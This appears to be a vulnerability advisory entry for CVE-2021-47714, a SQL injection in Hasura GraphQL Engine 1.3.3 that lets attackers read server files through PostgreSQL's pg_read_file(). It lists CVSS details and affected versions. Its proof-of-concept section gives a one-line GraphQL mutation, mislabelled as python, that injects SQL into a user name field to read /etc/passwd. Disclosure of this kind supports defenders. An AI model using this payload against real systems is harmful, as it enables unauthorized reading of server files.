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CVE-2021-47714 CVSS 5.5 MEDIUM

CVE-2021-47714

Published: 2025-12-22 22:15:59
Last Modified: 2025-12-27 17:15:40

Description

Hasura GraphQL 1.3.3 contains a local file read vulnerability that allows attackers to access system files through SQL injection in the query endpoint. Attackers can exploit the pg_read_file() PostgreSQL function by crafting malicious SQL queries to read arbitrary files on the server.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:hasura:graphql_engine:1.3.3:*:*:*:*:*:*:* - VULNERABLE
Hasura GraphQL Engine 1.3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
mutation { create_user(input: {name: "'; SELECT pg_read_file('/etc/passwd') --"}) { id name } }

References

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